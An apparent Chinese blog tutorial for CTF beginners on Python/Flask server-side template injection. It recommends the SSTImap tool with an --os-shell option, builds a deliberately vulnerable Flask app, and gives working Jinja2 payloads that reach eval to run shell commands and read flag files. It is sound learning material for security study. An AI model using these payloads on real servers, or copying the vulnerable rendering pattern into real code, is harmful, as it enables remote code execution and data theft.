CTF ssti零基础(一) 模块注入的payload

发布于:2024-07-25 ⋅ 阅读:(165) ⋅ 点赞:(0)

这里先推荐一个还不错的工具

git clone https://github.com/vladko312/SSTImap.git

cd SSTImap

pip install requirements.txt

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
命令还是挺多的
有点像sqlmap但是这个暴力多了不用加那么多的参数

./sstimap.py -u http://example.com
./sstimap.py -u http://example.com --os-shell

支持的模板引擎

模板引擎 远程代码执行 盲注 代码评估 文件读取 文件写入
Mako Python
Jinja2 Python
Python (code eval) Python
Tornado Python
Nunjucks JavaScript
Pug JavaScript
doT JavaScript
Marko JavaScript
JavaScript (code eval) JavaScript
Dust (<= dustjs-helpers@1.5.0) JavaScript
EJS JavaScript
Ruby (code eval) Ruby
Slim Ruby
ERB Ruby
Smarty (unsecured) PHP
Smarty (secured) PHP
PHP (code eval) PHP
Twig (<=1.19) PHP
Freemarker Java
Velocity Java
Twig (>1.19) × × × × ×
Dust (> dustjs-helpers@1.5.0) × × × × ×

但是利用工具梭哈是没有灵魂的,我的ssti也比较烂所以现在开始学

先起一个flask环境

pip install flask

写个文件app.py

from flask import Flask
from flask import request
from flask import render_template_string

app=Flask(__name__)

@app.route('/',methods=['GET','POST'])         
def index():
    template=''' 
    <p>Hello %s </p>'''%(request.args.get('name'))
    return render_template_string(template)      # 渲染为html内容

if __name__ == '__main__':          # 如果作为脚本运行,而不是被当成模块导入
    app.run(host='0.0.0.0')
python3 app.py

在这里插入图片描述

在这里插入图片描述
成功,那么继续

解释

先从简单的解释一下

{{().__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__['eval']("__import__('os').popen('tac /f*').read()")}}

()     当前对象

x.__class__       x对应类    

__bases__        所有基类
 
x.__subclasses__          x的所有子类             

__init__      进行初始化
__init__.__globals__           全局的方法、类以及模块
__builtins__          包含eval的模块

诶那么我们再看看思路

思路

拿基类 -> 找子类 -> 构造命令执行或者文件读取负载 -> 拿 flag 是 python 模板注入的正常流程。

怎么拿基类

().__class__.__bases__:
这个属性返回的是一个元组,包含了当前类的所有直接基类。如果一个类只继承自一个基类,这个元组将只包含一个元素;如果有多个基类(即多继承),元组中则会有多个元素,分别对应这些直接基类。这适用于了解一个类的多继承结构。

().__class__.__base__:
相比之下,这个属性返回的是单个对象,即当前类的单一直接基类。在单继承的情况下,这与().__class__.__bases__[0]得到的结果相同。但是,如果一个类是多继承的,使用__base__只会提供第一个直接基类的信息,忽略了其他基类。这意味着它更适合于简单继承结构的查询

在这里插入图片描述
在这里插入图片描述

所以选择用bases
找子类我们就找其中有eval的

().__class__.__bases__[0].__subclasses__()
显示出所有子类

在这里插入图片描述
锁定目标
在这里插入图片描述
找出所有的function\module\class

在这里插入图片描述
找到eval
在这里插入图片描述
写命令
在这里插入图片描述
还有一种是直接使用config也可以

{{config.__class__.__init__.__globals__['__builtins__'].eval("__import__('os').popen('tac /f*').read()")}}

config是一个非常重要的特性,用于存储应用的配置信息。Flask应用通过flask.Flask类的实例来管理,而配置通常是通过这个应用实例的config属性来设置和访问的。

常用

x表示基类

- codecs模块
x.__init__.__globals__.__builtins__.['eval']("__import__('codecs').open('/app/flag').read()") 

- pathlib模块
x.__init__.__globals__.__builtins__.['eval']("__import__('pathlib').Path('/app/flag').read_text()") 


- io模块
x.__init__.__globals__.__builtins__.['eval']("__import__('io').open('/app/flag').read()") 

- open函数
x.__init__.__globals__.__builtins__.['eval']("open('/app/flag').read()") 

下面这个会一直更新,因为慢慢积累

有eval的类
<class '_frozen_importlib._ModuleLock'>
<class 'os._wrap_close'>

网站公告

今日签到

点亮在社区的每一天
去签到